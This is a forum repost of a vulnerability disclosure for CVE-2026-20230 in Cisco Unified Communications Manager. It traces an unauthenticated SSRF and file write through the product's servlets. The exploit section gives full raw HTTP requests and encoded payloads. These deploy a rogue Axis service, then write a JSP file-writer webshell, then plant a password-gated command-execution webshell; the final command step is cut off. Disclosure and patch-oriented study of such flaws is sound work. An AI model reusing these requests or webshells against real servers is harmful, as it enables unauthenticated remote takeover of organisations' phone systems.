LIMB
Вход Регистрация

тема

Cisco Unified Communications Manager Arbitrary File Write to RCE

Xrahitel · · 0 ответов · 511 просмотров

Summary​

A vulnerability in Cisco Unified Communications Manager (CUCM) allows unauthenticated attackers to arbitrarily write files in the server which in turn can be used to run arbitrary commands/code on the server.

Vendor Response​

The vendor has issued a fix available at: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW

CVE​

CVE-2026-20230

Credit​

An independent security researcher working with SSD Secure Disclosure.

Affected Versions​

  • Cisco Unified Communication Manager 15.0.1.13901-2 (UCSInstall_UCOS_15.0.1.13901-2.sha512.iso)

Root Cause Analysis​

The CUCM product faces a few vulnerabilities that when bundled together allow a remote attacker to gain the ability to write arbitrary files on the server, which in turn allow an unauthenticated attacker to execute code.

The \jakarta-tomcat\webapps\cmplatform\WEB-INF\web.xml configuration file contains the following unauthenticated endpoint, /installClusterStatusExecute:

Code:
<servlet>

                <servlet-name>installCluster</servlet-name>

                <servlet-class>com.cisco.ccm.cmplatform.servlets.ClusterInstallStatusServlet</servlet-class>

                <load-on-startup>1</load-on-startup>

        </servlet>




        ...




    <servlet-mapping>

                <servlet-name>installCluster</servlet-name>

                <url-pattern>/installClusterStatusExecute</url-pattern>

        </servlet-mapping>

The com.cisco.ccm.cmplatform.servlets.ClusterInstallStatusServlet#doGet endpoint has the following code when action equals clusterNodeInstallStatus:

Не удалось прогрузить медиа



The com.cisco.vos.platform.api.cluster.rest.client.NodeInstallStageClient#getInstallStage endpoint has the following code:

Не удалось прогрузить медиа



And the com.cisco.vos.platform.api.cluster.rest.client.JerseyClient#doGet endpoint has the following:

Не удалось прогрузить медиа



Therefore the SSRF can be triggered via an HTTPS requests, and the \WEB-INF\lib\ccmadmin_common.jar!\com\cisco\ccm\common\security\InjectionFilter.class but there is a host validation logic that would prevent “easy” exploitation. For example, 127.0.0.1 and localhost cannot be used when exploiting this SSRF.

However, looking at com.cisco.ccm.common.security.InjectionFilter#hostHeaderValidation we can see:

Не удалось прогрузить медиа



Which is fortunately there is an unauthenticated interface that allows us to obtain the true hostname of the target via the following URL:

Code:
https://192.168.182.50/webdialer/Version.jws?wsdl

The remaining vector is similar to the historical Axis 1.4 vulnerability – CVE-2019-0227.

Exploit​

The flow of the attack requires the attacker to first gain some sensitive information, i.e. the hostname (true value – not the FQDN) of the target, which is done by accessing, the following URL:

Code:
https://192.168.182.50/webdialer/Version.jws?wsdl

Once the attacker has this information he can send a request to the /cmplatform/installClusterStatusExecute and ask it to install an additional node, instead of using a valid hostname, the attacker can send a full path to the endpoint with an escape sequence so that the content of a file is created rather than a hostname is accessed:

Code:
GET /cmplatform/installClusterStatusExecute?action=clusterNodeInstallStatus&hostname=%76%6d%30%31%2f%77%65%62%64%69%61%6c%65%72%2f%73%65%72%76%69%63%65%73%2f%41%64%6d%69%6e%53%65%72%76%69%63%65%2f%70%6c%61%74%66%6f%72%6d%63%6f%6d%2f%61%70%69%2f%76%31%2f%73%6f%66%74%77%61%72%65%2f%69%6e%73%74%61%6c%6c%73%74%61%67%65%73%2f%3f%6d%65%74%68%6f%64%3d%21%2d%2d%25%33%45%25%33%43%64%65%70%6c%6f%79%6d%65%6e%74%25%32%30%78%6d%6c%6e%73%25%33%44%25%32%32%68%74%74%70%25%33%41%25%32%46%25%32%46%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%25%32%46%61%78%69%73%25%32%46%77%73%64%64%25%32%46%25%32%32%25%32%30%78%6d%6c%6e%73%25%33%41%6a%61%76%61%25%33%44%25%32%32%68%74%74%70%25%33%41%25%32%46%25%32%46%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%25%32%46%61%78%69%73%25%32%46%77%73%64%64%25%32%46%70%72%6f%76%69%64%65%72%73%25%32%46%6a%61%76%61%25%32%32%25%33%45%25%33%43%73%65%72%76%69%63%65%25%32%30%6e%61%6d%65%25%33%44%25%32%32%72%61%6e%64%6f%6d%52%31%31%25%32%32%25%32%30%70%72%6f%76%69%64%65%72%25%33%44%25%32%32%6a%61%76%61%25%33%41%52%50%43%25%32%32%25%33%45%25%33%43%72%65%71%75%65%73%74%46%6c%6f%77%25%33%45%25%33%43%68%61%6e%64%6c%65%72%25%32%30%74%79%70%65%25%33%44%25%32%32%6a%61%76%61%25%33%41%6f%72%67%2e%61%70%61%63%68%65%2e%61%78%69%73%2e%68%61%6e%64%6c%65%72%73%2e%4c%6f%67%48%61%6e%64%6c%65%72%25%32%32%25%32%30%25%33%45%25%33%43%70%61%72%61%6d%65%74%65%72%25%32%30%6e%61%6d%65%25%33%44%25%32%32%4c%6f%67%48%61%6e%64%6c%65%72%2e%66%69%6c%65%4e%61%6d%65%25%32%32%25%32%30%76%61%6c%75%65%25%33%44%25%32%32%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%2e%2e%25%32%46%63%6f%6d%6d%6f%6e%25%32%46%6c%6f%67%25%32%46%74%61%6f%73%2d%6c%6f%67%2d%61%25%32%46%74%6f%6d%63%61%74%25%32%46%77%65%62%61%70%70%73%25%32%46%70%6c%61%74%66%6f%72%6d%2d%73%65%72%76%69%63%65%73%25%32%46%61%78%69%73%32%2d%77%65%62%25%32%46%61%61%61%2e%6a%73%70%25%32%32%25%32%30%25%32%46%25%33%45%25%33%43%70%61%72%61%6d%65%74%65%72%25%32%30%6e%61%6d%65%25%33%44%25%32%32%4c%6f%67%48%61%6e%64%6c%65%72%2e%77%72%69%74%65%54%6f%43%6f%6e%73%6f%6c%65%25%32%32%25%32%30%76%61%6c%75%65%25%33%44%25%32%32%66%61%6c%73%65%25%32%32%25%32%30%25%32%46%25%33%45%25%33%43%25%32%46%68%61%6e%64%6c%65%72%25%33%45%25%33%43%25%32%46%72%65%71%75%65%73%74%46%6c%6f%77%25%33%45%25%33%43%70%61%72%61%6d%65%74%65%72%25%32%30%6e%61%6d%65%25%33%44%25%32%32%63%6c%61%73%73%4e%61%6d%65%25%32%32%25%32%30%76%61%6c%75%65%25%33%44%25%32%32%6a%61%76%61%2e%75%74%69%6c%2e%52%61%6e%64%6f%6d%25%32%32%25%32%30%25%32%46%25%33%45%25%33%43%70%61%72%61%6d%65%74%65%72%25%32%30%6e%61%6d%65%25%33%44%25%32%32%61%6c%6c%6f%77%65%64%4d%65%74%68%6f%64%73%25%32%32%25%32%30%76%61%6c%75%65%25%33%44%25%32%32%2a%25%32%32%25%32%30%25%32%46%25%33%45%25%33%43%25%32%46%73%65%72%76%69%63%65%25%33%45%25%33%43%25%32%46%64%65%70%6c%6f%79%6d%65%6e%74&filename=bbbbbb HTTP/1.1
Host: 192.168.182.50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://192.168.182.50/webdialer/services
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

If you decode the payload you will notice the following content:

Code:
vm01/webdialer/services/AdminService/platformcom/api/v1/software/installstages/?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomR11%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fcommon%2Flog%2Ftaos-log-a%2Ftomcat%2Fwebapps%2Fplatform-services%2Faxis2-web%2Faaa.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment

Which is the end point that is being accessed instead of the hostname being reached out to (a classic SSRF), the escape sequence !-- is then used to control the content of the data being written such that it “escapes” the normal content written by installstages endpoint:

Code:
><deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"><service name="randomR11" provider="java:RPC"><requestFlow><handler type="java:org.apache.axis.handlers.LogHandler" ><parameter name="LogHandler.fileName" value="../../../../../../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web/aaa.jsp" /><parameter name="LogHandler.writeToConsole" value="false" /></handler></requestFlow><parameter name="className" value="java.util.Random" /><parameter name="allowedMethods" value="*" /></service></deployment

As you can see, the file being written creates a new API endpoint that will allow us via the randomR11 endpoint (which we just introduced as a new service to the server) to write arbitrary files.

You can verify this newly installed service by accessing the webdialer/services endpoint.

The next step is to use this endpoint to create our webshell on the server:

Code:
GET /webdialer/services/randomR11?method=nextInt&arg0=%3C%21%5BCDATA%5B%0A%3C%25if%28request.getParameter%28%22f%22%29%21%3Dnull%29%28new+java.io.FileOutputStream%28application.getRealPath%28%22%2F%22%29%2Brequest.getParameter%28%22f%22%29%29%29.write%28request.getParameter%28%22t%22%29.getBytes%28%29%29%3B%25%3E+%0A%5D%5D%3E HTTP/1.1
Host: 192.168.182.50
Cookie: JSESSIONID=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://192.168.182.50/webdialer/services
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

This very simple webshell will just include the following code:

Code:
<![CDATA[
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
]]>


Which will take any value provided to f and t, write it to the directory of choice, which we can use with this request to create the file in a place which we can later access:

Code:
GET /platform-services/axis2-web/aaa.jsp?f=../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web/c.jsp&t=%3c%25%20if(%22123%22.equals(request.getParameter(%22pwd%22)))%7b%20java.io.InputStream%20in%20%3d%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3b%20int%20a%20%3d%20-1%3b%20byte%5b%5d%20b%20%3d%20new%20byte%5b2048%5d%3b%20out.print(%22%3cpre%3e%22)%3b%20while((a%3din.read(b))!%3d-1)%7b%20out.println(new%20String(b))%3b%20%7d%20out.print(%22%3c%2fpre%3e%22)%3b%20%7d%20%25%3e HTTP/1.1
Host: 192.168.220.139
Cookie: JSESSIONID=ABFF6F0302153EC441FDDE74F1EB25F1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

Now we can execute commands using:


source
👍30 ❤️4 😮7 💯7

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.